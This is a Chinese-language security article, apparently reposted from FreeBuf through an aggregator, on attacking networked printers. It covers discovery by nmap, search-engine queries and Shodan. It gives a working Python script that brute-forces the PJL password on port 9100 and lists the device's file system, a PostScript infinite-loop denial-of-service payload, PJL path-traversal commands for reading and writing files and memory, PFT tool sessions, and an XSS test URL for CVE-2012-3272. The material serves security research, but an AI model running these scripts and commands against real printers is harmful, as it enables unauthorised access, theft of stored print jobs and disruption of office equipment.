64

不可忽视的打印机漏洞研究

 5 years ago
source link: https://www.tuicool.com/articles/rUJJ7v6
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

*本文原创作者:VoltCary,本文属于FreeBuf原创奖励计划,未经许可禁止转载

0×01 前言

经过最近一段时间测试,发现企业内网打印机存在多种漏洞,同时也经常被大家所忽略,因此才有本文的研究。当一台打印机连接网络,可以进行端口扫描、读写上传恶意文件、反弹shell,相当于一台服务器。

常见攻击,信息泄露,如访问内存,可能发现密码或打印文件中的敏感数据,访问文件系统,泄露配置文件或存储的打印作业;DOS;远程代码执行漏洞RCE,通过缓冲区溢出漏洞,构造恶意数据包,使打印机执行恶意代码,将固件更新为含有恶意的固件;打印任务控制,修改打印内容等。

0×02 打印机语言

在研究打印机前有必要熟悉打印语言,网上各种介绍打印机语言,大家看的会比较混乱,比如有时候是打印机描述语言,有时候又叫打印机控制语言。下面以本人的理解去介绍打印机语言,其实打印机语言按分类是有两类,一种是页面描述语言(PDL),另一种是嵌入式语言(Escape码语言),而HP的PCL控制语言和PostScript(以下简称 PS)都属于PDL页面描述语言。

PS与 PCL 介绍

PS、PCL等打印语言其实是一个命令集,它告诉打印机如何组织被打印的文档。打印机驱动程序把这些命令嵌在打印数据中传给打印机,而不是单独传送,并由打印机的打印控制器再分开解释。

PCL网上介绍的都差不多,PCL对计算机系统资源占用也较少,同时对字库、图像的解释能力较强等,关键还是把本文前面部分弄懂,否则会很混乱,不利于对打印机的漏洞研究。

对比

PCL在处理文本、文档方面比较出色(已支持图形功能),速度明显,但是打印质量与PS差距不大,PS在处理打印大的文件,如PDF、Photoshop等软件下打印大的图形图像文件有速度优势,准确度、色彩方面比PCL强。所以 PCL语言适用于普通的商务办公应用,PS适用于对图形和色彩准确度要求比较高的专业应用。

工作流程

在计算机上将打印内容位图格式解释成标准的页面描述文件,为PostScript、PCL等格式,这种文件被传到打印机的控制器中,控制器将页面描述文件,发送给光栅图像处理器 (Raster Image Processor),把PostScript、PCL格式解释成位图格式,打印机才可以打印位图格式的图像。

PJL

打印任务语言(PJL)用于指导打印机行为,利用PJL语言可以对打印任务执行管理性的更改设置,对打印文件形成有限管理控制,例如,在打印机文件系统下用户不经常留意的以下特定位置中,它可对打印文件执行存储删除操作。

其它打印机语言是PCL的扩展,如打印机作业语言PJL是 PCL的扩展,用于控制打印机的行为,上面提到PCL只处理内容,扩展的PJL则可以永久性的修改设备的设置,如印纸张大小和数量。而 PJL可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新。供应商往往只支持PJL 控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。

PPD

PS、PCL都是一种与设备无关的打印机语言,它们只处理打印的内容,而与设备相关的分辨率、纸张大小它们不处理。PS 、PCL可以将打印内容解释成页面描述文件,这个文件会被控制器解析并打印。但是对譬如分辨率、纸张大小、进纸盒进行选择时,调用的是打印机描述(PostScript Printer Description ,即PPD)文件来实行各种打印机的不同特性,PS、PCL 语言在打印的时候,即定义图像时根本不用去考虑打印机的分辨率、纸张大小,由打印机的PPD文件来决定,给处理字体带来了极大的灵活性。

PPD文件主要提供以下与打印机有关的特定信息::默认/ 最高分辨率,是否支持半色调监控,用户设定的监控信息,页面大小定义,页面可打印区域,默认字体(通常为Courier),是否支持双面打印等等。每一种不同的 PostScript打印机都分别对应有专门的PPD文件。

关于PostScript仿真,因为目前使用PostScrit语言需要向 Adobe公司支付一笔费用,成本较高,因此才有与PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印机中使用的PostScript仿真,也无需再支付Adobe公司相应的费用。

利用

PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。

打印机指令语言PCL很难被攻击利用,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的,不过PCL的扩展PJL容易受到攻击,下文基本上是基于PJL。

0×03 探测打印机

1.namp-A 192.168.1.*

主要查看开放哪些端口,并检测操作系统指纹,一般开放如下端口、服务为打印机: uQbeiiJ.jpg!web

2.Savins打印机发现

SmartDeviceMonitor工具,可以搜索Savins打印机,去官网下载: qUFnmiQ.jpg!web

3.JetDirect打印机

JetAdminJetAdmin可用来控制、搜索JetDirect打印机,可快速找出子网中的JetDirect打印机,它通过SNMP广播网络来定位打印机。

4.ARP协议扫描

NMAP、Cain,通过MAC地址发现 Hewlett Packard、Ricoh或其它厂商的MAC地址。

nmap -R192.168.1.0/24

F7vqiyV.jpg!web

5.谷歌搜索

打印机的WEB登陆链接放置在内网站点上,易于他们管理或存储文档,但有时内网并不是真正处于内网中,但可以通过互联网访问到。

Ricoh Savins(由于打印机频繁地存储文档,导致被下载,这确实是一个真正的安全杀手):

intitle:"web image monitor"
"/web/user/en/websys/webArch/mainFrame.cgi"
inurl:"/en/sts_index.cgi"
HP Jetdirects (各型号均不相同)
inurl:hp/device/this.LCDispatcher
CUPS Connected Printers
inurl:":631/printers" -php -demo

6.其它搜索

shodan搜索,device:printer。

钟馗之眼搜索,service:”jetdirect”。

0×04 漏洞挖掘

PJL密码爆破

若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL 的密码安全保护禁用,最终执行任意PJL命令。如果直接通过9100端口执行PJL命令,说明存在未授权访问。

PJL是打印控制语言PCL的扩展。文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。危害:通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。

9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。该软件负责处理通过网络提交的打印请求。网络打印机通过JetDirect协议,侦听,接收打印请求数据。

如下是PJL密码存储格式:

@PJL JOB PASSWORD=0

@PJL DEFAULT PASSWORD=12345

@PJL DEFAULT DISKLOCK=ON

@PJL DEFAULT CPLOCK=ON

可通过 内存和文件系统读取获取密码,或暴力破解。

爆破代码python3如下:

import socket
import sys

def main():
    if len(sys.argv)<=1:
        print('Parameters error')
        return
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((sys.argv[1],9100))
    s.settimeout(None)
    # 发送读取设备ID的PJL指令
    s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))
    print(s.recv(1024).decode('UTF-8'))

    for i in range(1, 65536):
        buf = b''
        # 发送重置密码的PJL指令
        s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))
        if i%30 == 0:
            # 发送查询密码保护状态的PJL指令
            s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))
            while True:
                buf += s.recv(1)
                print(buf)
                try:
                    buf.index(b'\r\n\x0c')
                    try:
                        # 密码保护被禁用
                        buf.index(b'DISABLED')
                        print('password disabled ok!')
                        # 发送查询目录的PJL指令
                        s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))
                        buf = b''
                        while True:
                            buf += s.recv(1)
                            print(buf)
                            try:
                                buf.index(b'\r\n\x0c')
                                try:
                                    # 查询成功
                                    buf.index(b'ENTRY')
                                    print('PoC OK!')
                                    return
                                except ValueError:
                                    print('PoC NO!')
                                    return
                            except ValueError:
                                continue
                    except ValueError:
                        print('password disabled faild!')
                    finally:
                        s.close()
                        return
                except ValueError:
                    continue
    s.close()

if __name__ == '__main__':
    main()

pft使用此脚本爆破: nUZBNfz.jpg!web

返回password disabled ok!,说明成功禁用PJL密码保护。

此脚本先爆破PFT密码保护,如果爆破成功,然后执行查询磁盘的PJL命令,当然也可只用PFT工具,文章后面部分会讲PFT。 vIZfInB.jpg!web

DOS

当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。

PS代码实现的循环:

%! 
 {} loop

路径遍历漏洞-案例分析

这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT 、PRET工具包读取存储在其中的任何打印任务。

如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作。这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。在学习之前,需要熟悉PJL命令。如下是本人对PJL命令的整理:

@PJL FSDELETE NAME = “pathname” [<CR>]<LF>                           # 删除文件  

@PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF>                  # 下载文件到打印机

@PJL FSINIT VOLUME = “pathname” [<CR>]<LF>                           # 初始化打印机文件系统

@PJL FSMKDIR NAME = “pathname” [<CR>]<LF>                            # 创建目录

@PJL DINQUIRE CPLOCK                                                 # 检查控制面板状态

@PJL DINQUIRE PASSWORD                                               # 检查密码保护状态

@PJL JOB PASSWORD = [Number:0 to 65535]                              # 当前密码保护密码

@PJL DEFAULT PASSWORD [Number:0 to 65535]                            # 修改保护密码

@PJL DEFAULT CPLOCK = [ON, OFF]                                      # 控制面板状态

@PJL SET IOBUFFER = [ON, OFF, AUTO]                                  # 设置缓冲区

@PJL SET IOSIZE = [10-100]                                           # 设置缓存区大小

@PJL SET PCNAME = [String]                                           # 设置计算机名称

@PJL SET HOLD = [ON, JOB, STORE, PROOF]                              # 设置文件保存

@PJL SET HOLDKEY = [Number:0000 to 9999]                             # 设置保存文件密码

@PJL DEFAULT DISKLOCK = [ON, OFF]                                    # 设置硬盘锁定状态

@PJL SET SPOOLTIME                                                   # 设置打印日期

@PJL SET COPIES                                                      # 设置打印数

@PJL SET JOBNAME                                                     # 设置打印机文件名称

@PJL SET RESOLUTION                                                  # 设置分辨率

@PJL SET DRIVERNAME                                                  # 设置驱动

@PJL USTATUS JOB                                                     # 输出 队列中还未打印任务的 状态

@PJL COMMENT                                                         # 添加注释

@PJL SET OUTTRAY                                                     #出纸盘(纸张输出位置)

@PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE]                         #页面方向

@PJL SET DUPLEX = [ON, OFF]                                          #双工模式(双面打印)

@PJL SET BINDING = [LONGEDGE, SHORTEDGE]                             #双工模式:短边、长边

@PJL RNVRAM ADDRESS                                                  #读取内存

@PJL OPMSG DISPLAY                                                   #设置打印机离线脱机

@PJL SET SERVICEMODE                                                 #设置服务模式

@PJL WNVRAM ADDRESS                                                  #写入内存

@PJL FSDIRLIST NAME                                                  #读取目录

@PJL FSQUERY NAME                                                    #读取文件

@PJL FSUPLOAD NAME                                                   #文件上传

@PJL FSDOWNLOAD                                                      #写入文件

1.@PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024 b2eQvym.jpg!web

上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。

2.读取 ../ 目录,发现其下有7个,./代表本目录

@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024 Qv2E7nn.jpg!web 发现有:

.TYPE=DIR

..TYPE=DIR

DataTYPE=DIR

JobsTYPE=DIR

TempTYPE=DIR

BrowserTYPE=DIR

PDLTYPE=DIR

3.读取Data目录

发现有Data、jobs目录,这里演示访问其下的Data目录,发现Data目录存在这些目录文件。

@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024 RBnqUzy.jpg!web 发现Data目录存在这些目录文件:

.TYPE=DIR

..TYPE=DIR

DataContractTYPE=DIR

CustomerDataDBTYPE=DIR

总结:

目录遍历除了可读取文件之外,还可写入,但是并不是所有的文件都可写入,寻找可写入的文件,如向启动脚本写入代码,重启即可执行代码反弹shell,这里我当时时间有限,遍历几个目录没有发现启动脚本,不然只要可写入就能反弹shell。

路径遍历案例:

中国移动某省公司打印机未授权访问已成功下载移动内部资料(保密承诺书?)

https://www.secpulse.com/archives/33663.html

PFT工具

根据文章前面部分,也大概知道了打印机攻击是基于打印机语言命令,如输入PJL命令造成相关,需要掌握PJL命令,输入PJL命令比较麻烦,这里有一个强大的打印机框架工具PFT, 而使用PFT工具可以无需掌握PJL命令,每一个参数已内置打印机语言,只需要调用对应参数来利用,配合help查看。

使用教程:

1.PFT连接到打印机

pft> server 192.168.15.200
Server set to 192.168.15.200
pft> port 9100
Port set to 9100
pft> connect
Connected to 192.168.15.200:9100
Device: hp LaserJet 4250

2.PFT清除PJL程序保护

清除成功之后,也能登录web控制台页面。

pft> env bruteforce
try 30
INFO: force_recv_clear() timed out for 270bytes (10 sec)
Password disabled successfully

3.查看硬盘文件

一般高级的打印机会有硬盘,如下命令查看有哪些盘符。

pft> volumes
Volume       Size       Free        Location      Label     Status
0:   12619776   11786240             RAM          ? READ-WRITE

4.ls查看文件

pft> ls
0:\
.                             -          d
..                            -          d
PostScript                    -          d
PJL                           -          d
saveDevice                    -          d
webServer                     -          d

5.将文件下载到本地get 文件名

HP JetDirect打印机存储型XSS

攻击者必须访问HP镭射打印机配置页面,”Product_URL”和”Tech_URL”参数 存在漏洞,对应CVE号:CVE-2012-3272。

点击WEB的“支持信息” 连接,按如下输入: eaMNJvn.jpg!web

点击“Apply”按钮,跳转到支持页面中(support.htm),出现弹框。 qemyiq3.jpg!web

测试方法:

http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Produ
ct_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply

打印控制任务

PERT连接到打印机,并尝试利用打印机所使用的打印机语言(目前支持PS,PJL和PCL),如python pret.py IP PS可尝试调用打印机PS语言进行操作,一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。例如检查文件系统,创建目录,更改配置文件、dump整个NVRAM。

如输出打印“Foo”,执行cross topsecret Foo: N3eMvqB.jpg!web

打印如下: 2UJVnyz.jpg!web

固件漏洞

如果打印机不存在PJL命令执行漏洞,可针对固件漏洞测试,通过nmap发现固件版本,Linux_Exploit_Suggester.pl查询内核版本漏洞。

nmap扫描出如下: beaQFbU.jpg!web

执行perl Linux_Exploit_Suggester.pl -k 2.6.31: 6bAbUnU.jpg!web

PS:该工具只能查询内核3.4.4之前的漏洞信息。

github下载

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

0×05 总结

从打印机语言到PJL命令执行等漏洞分析,包括打印机挖掘思路以及案例分析,总结了目前常见的打印机漏洞,其它的高级应用也是基于这些原理基础上,这里不讲PRET工具使用,网上有很多PRET使用教程。需要提醒一下,大家不要随便乱用工具来扫打印机,否则会打印出很多请求数据包,浪费大量的纸张。因为这些脚本在端口9100/tcp检测系统版本时,会发送探针请求,判断9100上运行的是何种服务,由于JetDirect并不知道它发送的是什么数据,因此会打印出探测报文,最后会打印出一堆垃圾数据。

*本文原创作者:VoltCary,本文属于FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK